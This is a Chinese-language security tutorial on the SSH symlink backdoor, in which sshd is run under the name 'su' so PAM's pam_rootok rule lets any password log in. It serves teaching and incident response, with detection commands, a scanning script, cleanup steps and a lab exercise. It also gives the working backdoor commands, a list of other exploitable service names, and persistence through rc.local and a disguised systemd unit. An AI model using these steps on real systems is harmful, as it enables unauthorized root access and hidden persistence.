SSH 软链接后门 — 利用 PAM 服务名匹配绕过认证
通过创建 sshd 的符号链接并以不同名称运行,利用 PAM 配置中的宽松认证规则实现任意密码登录
关联:16-SSH-authorized_keys后门 | 20-PAM后门
攻击原理
PAM 服务名匹配机制
Linux PAM 认证时,根据程序名称查找对应的 /etc/pam.d/ 配置文件
例如:sshd 进程使用 /etc/pam.d/sshd,su 进程使用 /etc/pam.d/su
关键点:PAM 根据的是进程名(argv[0]),而非可执行文件路径
利用链
su 的 PAM 配置中包含 pam_rootok.so
1 2
| auth sufficient pam_rootok.so
|
pam_rootok.so 的含义:如果当前用户是 root,认证直接通过(sufficient)
如果用符号链接将 sshd 链接为 “su”,那么:
sshd 进程名变成 “su”
PAM 使用 /etc/pam.d/su 配置
以 root 权限运行时,pam_rootok.so 让所有认证直接通过
结果:任何密码都能登录
示意图
1 2 3 4 5 6 7 8
| 正常 SSH: sshd 进程 → PAM 查找 /etc/pam.d/sshd → 需要正确密码
软链接后门: ln -sf /usr/sbin/sshd /tmp/su /tmp/su -oPort=31337 → "su" 进程 → PAM 查找 /etc/pam.d/su → pam_rootok.so (sufficient) → 以 root 运行 → 认证直接通过 → 任何密码均可登录
|
攻击实施
基本操作
1 2 3 4 5 6 7 8 9
| ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=31337
ssh root@target -p 31337
|
利用其他 PAM 配置
不只有 su,任何 PAM 配置中有宽松规则的服务名都可以利用
1 2
| grep -rl "pam_rootok\|pam_permit" /etc/pam.d/
|
常见可利用的服务名:
| 服务名 |
PAM 配置中的宽松规则 |
利用方式 |
| su |
auth sufficient pam_rootok.so |
ln -sf /usr/sbin/sshd /tmp/su |
| chsh |
auth sufficient pam_rootok.so |
ln -sf /usr/sbin/sshd /tmp/chsh |
| chfn |
auth sufficient pam_rootok.so |
ln -sf /usr/sbin/sshd /tmp/chfn |
| runuser |
auth sufficient pam_rootok.so |
ln -sf /usr/sbin/sshd /tmp/runuser |
持久化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| echo "/tmp/su -oPort=31337" >> /etc/rc.local
cat > /etc/systemd/system/ssh-backdoor.service << 'EOF' [Unit] Description=System SSH Helper After=network.target [Service] Type=simple ExecStart=/tmp/su -oPort=31337 -D Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable ssh-backdoor
|
检测方法
网络层检测
1 2 3 4 5 6 7 8 9
| ss -antlp | grep sshd
netstat -antlp | grep -v ":22 " | grep sshd
lsof -i -nP | grep sshd
|
进程层检测
1 2 3 4 5 6 7 8 9 10 11 12
| ls -la /proc/$(pgrep -f "Port=31337")/exe 2>/dev/null
for pid in $(find /proc -maxdepth 1 -type d -name "[0-9]*" 2>/dev/null); do exe=$(readlink "$pid/exe" 2>/dev/null) cmdline=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ') if echo "$exe" | grep -q "sshd"; then echo "PID=$(basename $pid) EXE=$exe CMD=$cmdline" fi done
|
文件层检测
1 2 3 4 5 6 7 8 9 10 11 12 13
| find / -type l -exec ls -la {} \; 2>/dev/null | grep sshd
find /tmp /var/tmp /dev/shm /root -type l 2>/dev/null | while read link; do target=$(readlink -f "$link" 2>/dev/null) if echo "$target" | grep -q "sshd"; then echo "[SUSPICIOUS] $link -> $target" fi done
grep -rn "pam_permit" /etc/pam.d/sshd 2>/dev/null
|
一键检测脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/bash echo "=== SSH 软链接后门检测 ===" echo "" echo "[1] 非标准端口的 SSH 服务:" ss -antlp | grep -E "sshd|:22|:2222" | grep -v ":22 " echo "" echo "[2] 指向 sshd 的符号链接:" find / -type l 2>/dev/null | while read l; do readlink -f "$l" 2>/dev/null | grep -q sshd && echo " $l -> $(readlink -f $l)" done echo "" echo "[3] PAM 宽松配置检查:" grep -rn "pam_rootok\|pam_permit" /etc/pam.d/ | grep -v "^#"
|
清除方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| ps auxef | grep "Port=31337\|/tmp/su\|/tmp/chsh" kill -9 <PID>
rm -f /tmp/su /tmp/chsh /tmp/chfn /tmp/runuser
grep -n "su.*Port\|chsh.*Port" /etc/rc.local 2>/dev/null systemctl list-unit-files | grep -i "ssh.*back\|system.*ssh"
|
实战练习
配套实验:labs/11-persistence-ssh/(包含 authorized_keys、Wrapper、软链接三种 SSH 后门)
排查目标
发现非标准端口的 SSH 服务
追踪到软链接文件
理解 PAM 服务名匹配的利用原理
杀掉后门进程并清除符号链接